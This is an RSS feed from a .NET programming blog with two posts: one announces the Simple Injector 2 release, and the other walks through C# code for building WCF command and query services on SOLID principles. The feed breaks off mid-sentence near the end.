<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	
	<channel>
		<title>.NET Junkie</title>
		<link>http://www.cuttingedge.it/blogs/steven/index.php</link>
		<description>Weblog of a workaholic</description>
		<language>en</language>
		<managingEditor>steven at this domain</managingEditor>
                <copyright>Copyright 2013</copyright>
		<generator>Pivot Pivot - 1.40.7: 'Dreadwind'</generator>
		<pubDate>Sat, 25 May 2013 14:27:52 +0200</pubDate>
		<ttl>60</ttl>
		
		
		
		
		<item>
			<title>Simple Injector 2 – The future is here</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=96</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=96#comm</comments>
                        <description><![CDATA[ Announcing the new major release of Simple Injector. The Simple Injector is an easy-to-use Inversion of Control library for .NET and Silverlight.<p>Last week <a rel="external" href="https://simpleinjector.codeplex.com/" title="Simple Injector">Simple Injector</a> 2 was released. This release was a major undertaking. I've been working on this release full time for the last few months and I got a lot of help from enthusiastic Simple Injector users and even got a new developer on the team. I think the results are awesome. I believe it is safe to say that Simple Injector can now compete with the 5 big established DI libraries for .NET and I'm really proud of that.</p><p>Simple Injector follows the rules from <a rel="external" href="http://semver.org/" title="Semantic versioning">Semantic versioning</a> and the fact that this is a new major release, implies that there are breaking changes. Simple Injector users should absolutely read <a rel="external" href="http://simpleinjector.codeplex.com/releases/view/99008" title="Simple Injector 2.0 release notes">the release notes</a> before upgrading, but I think that in most cases the upgrade will go smoothly.</p><p>This release however is also a significant functional improvement over version 1.6. Most of the development time went to the new <a rel="external" href="https://simpleinjector.codeplex.com/wikipage?title=Diagnostics" title="Simple Injector - Diagnosing your configuration using the Debug Diagnostic Services">Debug Diagnostic Services</a>. Those services allow you to get feedback on the container configuration. It allows spotting common misconfiguration mistakes such as implementations that depend on services with a shorter lifestyle. Autofac and Castle Windsor have this feature for some time now and IMHO, for a DI container to be usable in any considerably sized (enterprise) application, it must enable these kinds of analysis. I advice any new and existing Simple Injector user to take a good look at the <a rel="external" href="https://simpleinjector.codeplex.com/wikipage?title=Diagnostics" title="Simple Injector - Diagnosing your configuration using the Debug Diagnostic Services">Debug Diagnostic Services documentation</a> and see how to view the diagnostic results.</p>  <p><img src="http://i3.codeplex.com/Download?ProjectName=simpleinjector&amp;DownloadId=627728" alt="Diagnostics debugger view watch window" title="Diagnostics debugger view watch window" /></p>  <p>The last few years I reviewed a lot of DI configurations. I saw the same configuration mistakes. Over and over again. What I started to realize was that it is really easy -even for an experienced developer- to make these kinds of configuration mistakes, once the application starts to grow. When the application is complex enough, there is simply no alternative for wiring all dependencies in a single place of the application (the <a rel="external" href="http://blog.ploeh.dk/2011/07/28/CompositionRoot/" title="Mark Seemann's blog - Composition Root">Composition Root</a>), but this places big responsibility on this piece of code and its developers when they make changes to it.</p><p>I have thought often and hard about how to implement such feature, but the design of Simple Injector 1 was too limiting to add such feature. The key feature that was missing from Simple Injector was explicit lifestyle support. For Simple Injector 1, users were expected to register custom <span class="type">Func</span><span class="code">&lt;T&gt;</span> delegates that implement custom lifestyles, but passing on delegates disallowed the library to find out anything about the registered lifestyle. I experimented a lot with the analysis of expression trees (since the built-in lifestyles each contained their signature buried deep in the expression trees they built), but this was brittle and unreliable. Especially since part of Simple Injector&rsquo;s extendibility is based on altering expression trees.</p><p>Simple Injector 2 adds explicit lifestyle support. This basically means that there is a <a rel="external" href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/?topic=html/T_SimpleInjector_Lifestyle.htm" title="Simple Injector Reference Library - Lifestyle class">Lifestyle</a> base class and all lifestyles (such as Transient, Singleton, and everything in between) inherit from that base class. This paved the way for doing analysis. Side effect was that it allowed me to solve a broad range of bugs and limitations as well and made some new features considerably easier to implement. For instance, for some parts of the API it was originally extremely hard to register types with a custom lifestyle. Especially the more advanced scenarios such as decorator registration, open generic type mapping, and batch registration.</p><p>Although all the new features make the library more flexible and more complete, I still believe in exposing a minimalistic API and supplying users with a framework with a set of features with a default configuration that steers them to the pit of success. I learned this a long time ago from reading the <a rel="external" href="http://www.amazon.com/Framework-Design-Guidelines-Conventions-Libraries/dp/0321545613" title="Framework Design Guidelines">Framework Design Guidelines</a>.</p><p>One of those &ldquo;default configuration that steers [developers] to the pit of success&rdquo; examples is the lack of support for auto-wiring types with multiple public constructors. I've communicated with a lot of developers that where annoyed about this and some even switched libraries. That&rsquo;s okay; I don&rsquo;t have to be the most popular DI library. I don&rsquo;t want Simple Injector to become this Swiss army knife and I&rsquo;ll stick with this strategy.</p><p>In general, your classes should have a single public constructor that contains all the services it depends on. Unfortunately, sometimes it&rsquo;s not your own code that causes a class to have multiple constructors (when using <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=T4MVC%20Integration" title="Simple Injector - T4MVC Integration">T4MVC</a> for instance). It is important to supply users with a way to change the default behavior as Simple Injector <a rel="external" href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/?topic=html/T_SimpleInjector_Advanced_IConstructorResolutionBehavior.htm" title="Simple Injector Reference Library - IConstructorResolutionBehavior Interface">does</a>.</p><p>But the point is, by not allowing this by default, Simple Injector forces developers to at least think about their design and perhaps even reconsider it. This is one of the main design principles behind Simple Injector.</p><p>The library on the other hand does have its quirks. The feature I regret the most ever having implemented is the <a rel="external" href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/?topic=html/M_SimpleInjector_Container_InjectProperties.htm" title="Simple Injector Reference Library - Container.InjectProperties method">Container.InjectProperties</a> method. This method does implicit property injection, which means that it 'tries' to inject all public writable properties of a given object, but will skip any property that has a type hasn't been configured or hasn&rsquo;t been configured correctly. The problem with this is that implicit property injection lead to a DI configuration that is hard to verify and an application that might fail at runtime instead. And in a sense, Simple Injector 2 made things worse, since properties injected using InjectProperties never show up in the new diagnostic results. Making it easy for developers to call <span class="code">InjectProperties</span> certainly isn't an example of steering them into &quot;the pit of success&quot;. This part is so important to me that I'm willing to introduce a breaking change again and remove InjectProperties from the library. However, don't worry; this won't happen before there is a good alternative. But if you're using InjectProperties today, please reconsider its use. If in doubt, please <a rel="external" href="http://stackoverflow.com/questions/ask?tags=simple-injector%20ioc-container%20dependency-injection%20.net%20c%23&amp;title=Simple%20Injector:" title="Ask a Simple Injector question on Stackoverflow">ask on Stackoverflow</a>.</p><h3>What&rsquo;s next?</h3><p>I&rsquo;m taking the commitment on maintaining Simple Injector for the coming years and I will stick to the design principles I previously stated.</p><p>Multiple developers have complained about the source control solution for Simple Injector which is FTS on CodePlex. They are absolutely right. It must become easier to fork and accept contributions. I will definitely switch to the distributed source control system Git and CodePlex already has support for this. But please be patient, the Visual Studio 2012 Git integration is still in beta, and I&rsquo;ll make the switch after it has gone RTM.</p><p>And of course there are plans for future versions of Simple Injector. For instance, in the next minor release (2.1) I&rsquo;ll probably add a strategy to allow adding explicit property injection that integrates well with the diagnostic services (just as there already are strategies for constructor resolution and injection). What&rsquo;s great about the current 2.0 is that the new <a rel="external" href="http://simpleinjector.cuttingedge.it/ReferenceLibrary/?topic=html/E_SimpleInjector_Container_ExpressionBuilding.htm" title="Simple Injector Reference Library - Container.ExpressionBuilding event">ExpressionBuilding</a> event already completely allows you implement explicit property injection (including diagnostic integration), but I like to make this more straightforward to do this in a reliable and fast way.</p><p>Another part that I will definitely keep investigating in is the new Diagnostic Services. New warning types will be added in the future. If you have any ideas for improvements the Diagnostic Service, let&rsquo;s discuss it on the <a rel="external" href="http://simpleinjector.codeplex.com/discussions" title="Simple Injector Discussion forum">Simple Injector discussion forum</a>.</p><p><strong>As always, happy injecting!</strong></p> ]]></description>
			<guid isPermaLink="false">96@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Architecture, Dependency injection, Simple Injector</category>
			<pubDate>Mon, 04 Mar 2013 13:59:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Writing Highly Maintainable WCF Services</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=95</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=95#comm</comments>
                        <description><![CDATA[ When it comes to writing maintainable software, there is no alternative to the five core principles of object oriented design. When software is based on these principles, everything becomes significantly easier. When your software is based on these principles, writing a highly maintainable WCF web service on top of that can be done in just a matter of minutes.<p style="border: 2px solid #00cc00; padding: 4px; background-color: #eeffee">The code supporting this article can be found at <a rel="external" href="http://solidservices.codeplex.com" title="Highly Maintainable Web Services">solidservices.codeplex.com</a>.</p><p>Most of my clients have maintainability issues with their software. Almost always these problems are caused by improper software design. Incorrect design can have many causes, such as bad requirement analysis, and high pressure. Bad design can even cause more bad design and even bigger maintainability nightmares. When looking closely at such design, I often see a violation of the five basic design principles of object oriented design; the <a rel="external" href="http://en.wikipedia.org/wiki/SOLID" title="Wikipedia - SOLID">SOLID principles</a>. For me, there is no alternative: writing maintainable software starts with the SOLID principles.</p><p>Just as bad design triggers more bad design, good design can trigger more good design. For instance, after correctly applying the SOLID principles to your software, it will be much easier to write (web) services that are highly maintainable. In my last few articles (<a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91" title=".NET Junkie - Meanwhile&hellip; on the command side of my architecture">here</a> and <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92" title=".NET Junkie - Meanwhile&hellip; on the query side of my architecture">here</a>) I described a way of modeling important parts of a software system in such a way that it increases maintainability (by simply following the SOLID principles). By modeling both business operations (commands) and business queries as messages, and hiding the behavior for processing these objects behind proper abstractions, the maintainability and flexibility increases dramatically.</p><p>Since those command and query objects are simple data containers, serializing them is easy. Being able to serialize those messages has a few clear advantages. We could for instance serialize them to a log file, which gives us a complete overview of what happened at what time and by whom. It&rsquo;s a functional transaction log. Since both a command and a query contain all the data that is needed to correctly execute the operation (except perhaps some context information such as the current user), we could replay this information during a stress test or use it to debug a problem. By serializing commands to a (transactional) queue (such as <a rel="external" href="http://en.wikipedia.org/wiki/Microsoft_Message_Queuing" title="Wikipedia - Microsoft Message Queuing">MSMQ</a>), we can even let commands run in parallel on background services. This can improve reliability and scalability of a system.</p><p>Another advantage of being able to serialize those messages is to be able to send them over the wire to a web service. Those messages can be used as the data contract of the web service, and the web service can be built as a thin layer that lies on top of that. With the right constructs and configuration, we can build this web service in such a way that it hardly ever needs to be changed. In this article I will show you how to do this with a WCF service based on the patterns described in my previous articles (so please read them if you haven't).</p><p>WCF has a few interesting features, which make it an extremely convenient layer on top of a model based on commands and queries. For instance, WCF allows a service class to dynamically specify which types of messages the service can handle using the <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.servicemodel.serviceknowntypeattribute.aspx" title="MSDN - ServiceKnownTypeAttribute Class">ServiceKnownTypeAttribute</a>. This allows us to write the service once and never change it again. Another feature is the possibility to let the client and service share the same assembly. Of course this is only possible when the client is a .NET application as well, but this saves you from having lots of generated code on the client. This works best when the client and web service are part of the same Visual Studio solution.</p><p>This next code is all it takes to make a web service that can handle any arbitrary command that's available in your application:</p><pre class="cs" language="csharp" customtypes="ServiceKnownType CommandService OperationContract ICommandHandler Bootstrapper ICustomAttributeProvider Container IQueryHandler Global HttpApplication MoveCustomerCommand Address QueryService GetUnshippedOrdersForCurrentCustomerQuery IQuery OrderInfo" customvaluetypes="PutYourCustomValueTypesHere">[ServiceKnownType(&quot;GetKnownTypes&quot;)]<br />public class CommandService<br />{<br />&nbsp;&nbsp;&nbsp; [OperationContract]<br />&nbsp;&nbsp;&nbsp; public void Execute(object command)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type commandHandlerType = typeof(ICommandHandler&lt;&gt;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .MakeGenericType(command.GetType());<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; object commandHandler =<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bootstrapper.GetInstance(commandHandlerType);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; commandHandlerType.GetMethod(&quot;Handle&quot;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Invoke(commandHandler, new[] { command });<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; public static IEnumerable&lt;Type&gt; GetKnownTypes(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ICustomAttributeProvider provider)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var commandAssembly =<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; typeof(ICommandHandler&lt;&gt;).Assembly;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var commandTypes =<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from type in commandAssembly.GetExportedTypes()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where type.Name.EndsWith(&quot;Command&quot;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select type;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return commandTypes.ToArray();<br />&nbsp;&nbsp;&nbsp; }<br />}</pre><p>This service has just one operation, decorated with the <span class="type">OperationContractAttribute</span>. It can process any command. Since WCF needs to know what messages it must accept (to be able to generate a WSDL for instance), the service is decorated with the <span class="type">ServiceKnownTypeAttribute</span>. This attribute points at the public <span class="code">GetKnownTypes</span> method, which is part of the service. This method simply queries the metadata of the assembly containing all commands. This method uses <a rel="external" href="http://en.wikipedia.org/wiki/Convention_over_configuration" title="Wikipedia - Convention over configuration">convention over configuration</a>, since it expects all types in that assembly which name ends with &quot;Command&quot; to be command messages. However, other ways to retrieve the applicable command types (such as defining them by a common <em>ICommand</em> interface or marking commands with attributes) will do just fine.</p><p>Since the service&rsquo;s <span class="code">Execute</span> method accepts any possible command, it uses reflection to build the corresponding <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> interface for the supplied command. It requests this handler type from the <a rel="external" href="http://blog.ploeh.dk/2011/07/28/CompositionRoot.aspx" title="Mark Seemann's blog - Composition Root">Composition Root</a> and uses a bit of reflection again to execute that command. The performance impact of the reflection is negligible, since the WCF pipeline (with all its deserialization and verification) obviously has much more overhead (but if needed, performance can be improved by caching the types).</p><p>The Composition Root is the part of the application where services are tied together and object graphs are composed. Here is how this composition root might look like:</p><pre class="cs" language="csharp" customtypes="Assembly BuildManager ServiceKnownType CommandService OperationContract ICommandHandler Bootstrapper ICustomAttributeProvider Container IQueryHandler Global HttpApplication MoveCustomerCommand Address QueryService GetUnshippedOrdersForCurrentCustomerQuery IQuery OrderInfo" customvaluetypes="PutYourCustomValueTypesHere">using System.Linq;<br />using System.Reflection;<br />using System.Web.Compilation;<br /><br />using SimpleInjector;<br />using SimpleInjector.Extensions;<br /><br />public static class Bootstrapper<br />{<br />&nbsp;&nbsp;&nbsp; private static Container container;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; public static void Bootstrap()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; container = new Container();<br />&nbsp;<br />        var assemblies = BuildManager<br />            .GetReferencedAssemblies().Cast&lt;Assembly&gt;();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; container.RegisterManyForOpenGeneric(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; typeof(ICommandHandler&lt;&gt;), assemblies);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; container.RegisterManyForOpenGeneric(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; typeof(IQueryHandler&lt;,&gt;), assemblies);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; container.Verify();<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; public static object GetInstance(Type serviceType)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return container.GetInstance(serviceType);<br />&nbsp;&nbsp;&nbsp; }<br />}</pre><p>Not surprisingly, I use the <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector - Dependency Injection framework">Simple Injector</a> to bootstrap the application, since Simple Injector makes batch register generic types and generic decorators embarrassingly easy. However, any descent DI container will allow you to do this in one way or another. The first call to the <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios#Batch_Registration" title="Simple Injector - Documentation - Advanced scenarios - Batch registration / Automatic registration">RegisterManyForOpenGeneric</a> method iterates through all application assemblies and registers all concrete <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> implementations that it finds. This of course is just a simple example.</p><p>The Bootstrap method is called during application startup. For a WCF service this will be the <span class="code">Application_Start</span> event in the Global.asax:</p><pre class="cs" language="csharp" customtypes="ServiceKnownType CommandService OperationContract ICommandHandler Bootstrapper ICustomAttributeProvider Container IQueryHandler Global HttpApplication MoveCustomerCommand Address QueryService GetUnshippedOrdersForCurrentCustomerQuery IQuery OrderInfo" customvaluetypes="PutYourCustomValueTypesHere">public class Global : System.Web.HttpApplication<br />{<br />&nbsp;&nbsp;&nbsp; protected void Application_Start(object sender, EventArgs e)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bootstrapper.Bootstrap();<br />&nbsp;&nbsp;&nbsp; }<br />}</pre><p>With these three pieces in place we have a working WCF service that can accept command messages from a client. If you haven&rsquo;t already, you can start defining commands just like the following:</p><pre class="cs" language="csharp" customtypes="ServiceKnownType CommandService OperationContract ICommandHandler Bootstrapper ICustomAttributeProvider Container IQueryHandler Global HttpApplication MoveCustomerCommand Address QueryService GetUnshippedOrdersForCurrentCustomerQuery IQuery OrderInfo" customvaluetypes="PutYourCustomValueTypesHere">public class MoveCustomerCommand<br />{<br />&nbsp;&nbsp;&nbsp; public int CustomerId { get; set; }<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; public Address NewAddress { get; set; }<br />}</pre><p>Notice how this type lacks any WCF <span class="type">DataContractAttribute</span>s and <span class="type">DataMemberAttribute</span>s. When working with <a rel="external" href="http://en.wikipedia.org/wiki/Data_Transfer_Object" title="Wikipedia - Data Transfer Object">DTO</a>s, WCF allows you to skip using these attributes, which simply means that WCF will serialize the complete instance, which is exactly what we want. Not only removes this noise from our code, it keeps our commands simple <a rel="external" href="http://en.wikipedia.org/wiki/POCO" title="Wikipedia - Plain Old CLR Object">POCO</a>s, free from any technology specific attributes, which is always a good thing.</p><p>I must admit that this whole design can seem a bit overwhelming, and not very appealing at first, but as I explained in my previous blog posts, this model starts to shine once you start applying decorators to those handlers and can drastically lower maintenance when your application starts to grow. In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91" title=".NET Junkie - Meanwhile&hellip; on the command side of my architecture">my post about commands</a> I made a small list of cross-cutting concerns that are easy to implement as decorator, such as validation, audit trailing, and queuing. Besides these, when running a WCF service, it could be really useful to have a mechanism to prevent messages from being replayed (both preventing accidental duplicates and hacking). Adding such feature as a decorator would be pretty easy. </p><p>Commands are of course just one half of the story. Queries are the other half. Let&rsquo;s cut to the chase; Here&rsquo;s the service that can execute queries:</p><pre class="cs" language="csharp" customtypes="ServiceKnownType CommandService OperationContract ICommandHandler Bootstrapper ICustomAttributeProvider Container IQueryHandler Global HttpApplication MoveCustomerCommand Address QueryService GetUnshippedOrdersForCurrentCustomerQuery IQuery OrderInfo" customvaluetypes="PutYourCustomValueTypesHere">[ServiceKnownType(&quot;GetKnownTypes&quot;)]<br />public class QueryService<br />{<br />&nbsp;&nbsp;&nbsp; [OperationContract]<br />&nbsp;&nbsp;&nbsp; public object Execute(object query)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type queryType = query.GetType();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type resultType = GetQueryResultType(queryType);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type queryHandlerType = typeof(IQueryHandler&lt;,&gt;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .MakeGenericType(queryType, resultType);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; object queryHandler =<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bootstrapper.GetInstance(queryHandlerType);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return queryHandlerType.GetMethod(&quot;Handle&quot;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Invoke(queryHandler, new[] { query });<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; public static IEnumerable&lt;Type&gt; GetKnownTypes(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ICustomAttributeProvider provider)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var contractAssembly = typeof(IQuery&lt;&gt;).Assembly;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var queryTypes = (<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from type in contractAssembly.GetExportedTypes()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where TypeIsQueryType(type)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select type)<br />            .ToList();<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var resultTypes =<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from queryType in queryTypes<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select GetQueryResultType(queryType);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return queryTypes.Union(resultTypes).ToArray();<br />&nbsp;&nbsp;&nbsp; }<br /><br />    private static bool TypeIsQueryType(Type type)<br />    {<br />        return GetQueryInterface(type) != null;<br />    }<br /><br />&nbsp;&nbsp;&nbsp; private static Type GetQueryResultType(Type queryType)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return GetQueryInterface(queryType)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .GetGenericArguments()[0];<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; private static Type GetQueryInterface(Type type)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from @interface in type.GetInterfaces()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where @interface.IsGenericType<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where typeof(IQuery&lt;&gt;).IsAssignableFrom(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @interface.GetGenericTypeDefinition())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select @interface)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .SingleOrDefault();<br />&nbsp;&nbsp;&nbsp; }<br />}</pre><p>The structure of this <span class="type">QueryService</span> is similar to what we've seen with the <span class="type">CommandService</span>. However, since queries return a value, a bit more wiring must be done. When executing queries however, there is one catch. Since the command service doesn't return any data when processing commands, clients could easily let Visual Studio generate the service contract for them. Query objects however, implement an interface that describes the data they return, for instance:</p><pre class="cs" language="csharp" customtypes="ServiceKnownType CommandService OperationContract ICommandHandler Bootstrapper ICustomAttributeProvider Container IQueryHandler Global HttpApplication MoveCustomerCommand Address QueryService GetUnshippedOrdersForCurrentCustomerQuery IQuery OrderInfo" customvaluetypes="PutYourCustomValueTypesHere">public class GetUnshippedOrdersForCurrentCustomerQuery <br />&nbsp;&nbsp;&nbsp; : IQuery&lt;OrderInfo[]&gt;<br />{<br />&nbsp;&nbsp;&nbsp; public int PageIndex { get; set; }<br />&nbsp;<br />&nbsp;&nbsp;&nbsp; public int PageSize { get; set; }<br />}</pre><p>WCF however, doesn't communicate this interface through its WSDL definition and this part of the contract is lost. This problem can be solved by sharing the assembly that contains the query objects between the client and the service. Sharing an assembly between client and server is done by specifying it in the &ldquo;Reuse types in specified referenced assemblies&rdquo; option of the Advanced tab when adding the web service reference using Visual Studio&rsquo;s &ldquo;Add Service Reference&rdquo; wizard:</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/service_reference_settings.jpg" style="border:0px solid" title="Service Reference Settings" alt="Service Reference Settings" class="pivot-image" /></p>
<p>Unfortunately, it is not always possible to reuse the same assembly. Especially when dealing with non-.NET clients. Those clients will either need to cast the returned object to the correct type manually or will have to write some infrastructural code that adds compile time checking again (such as writing or generating partial classes to add this interface again to generated code). This of course only holds for clients written in static languages. With a dynamic language, you&rsquo;ll have a different set of problems :-).</p><p>Since this shared assembly functions as the service&rsquo;s contract, not sharing that assembly will make us lose information about this contract. WCF does not have the ability (at least not that I know) to express what data comes back from the service with what input. However, not all is lost. Since this information is available in the metadata, documentation can be generated based on this metadata. It could be as simple as shipping the XML documentation file that is generated by the C# compiler, or a <a rel="external" href="http://sandcastle.codeplex.com/" title=" Sandcastle - Documentation Compiler for Managed Class Libraries Sandcastle - Documentation Compiler for Managed Class Libraries">Sandcastle</a> documentation based on that XML file. This makes it easier for the client developers to work. Or web service could even expose an extra method that returns a list with the names of all queries with their corresponding return type. This would make it pretty easy for the developers of the client to use this information to generate the proper code for their environment that adds type safety and compile time support again (although this highly depends on the possibilities of the used system, runtime, and language).</p><p><font color="#FF0000">Update:</font> Instead of generating code on (non-.NET) client side to communicate with this service, you can also generate code on the WCF service, for instance using T4 templates. I added an example of this in the CodeProject project. </p><p>In fact, this is all it takes to write a WCF service. Obviously your service should do the proper authentication, authorization, validation, logging, and all other sorts of cross-cutting concerns. Authentication is typically done at the WCF layer, and almost all other cross-cutting concerns can be implemented by registering decorators for <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> and <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span>. This will keep the <span class="type">CommandService</span> and <span class="type">QueryService</span> clean from these sort of checks, and it will allow you to reuse this logic in other applications, running on the same business layer.</p><p>When you get the hang of this way of designing your system, you will appreciate how easy and flexible it is. Still, please take the following things into consideration:</p><ul><li><a name="condideration1" title="condideration1"></a>Don't forget that although adding new commands and queries can be done without making changes to the <span class="type">CommandService</span> and <span class="type">QueryService</span>  classes, the service&rsquo;s contract will still change. Although adding new commands and queries would usually not be a problem, every change to an existing command or query object might break your clients. For example, changing validation logic of a command could break your client. Managing the contract and backwards compatibility with existing clients is especially crucial when the clients are external. That&rsquo;s a problem that this model doesn&rsquo;t solve. Of course, things are much easier when the client application is part of the same solution, because contract changes can be made without a problem and you'll even get compiler warnings on the client application when you make these changes.</li><li><a name="condideration2" title="condideration2"></a>Make sure the service contract only contains commands and queries that must be accessible from clients. If they're not public, don't place them in the contract assembly. If there's no contract assembly, make sure <span class="code">GetKnownTypes</span> method does not return them. This should be as easy as changing the LINQ query in <span class="code">GetKnownTypes</span>. Depending on the DI framework you use, you might be able to leverage features of the container to find out which registrations exist. Simple Injector for instance, contains a <a rel="external" 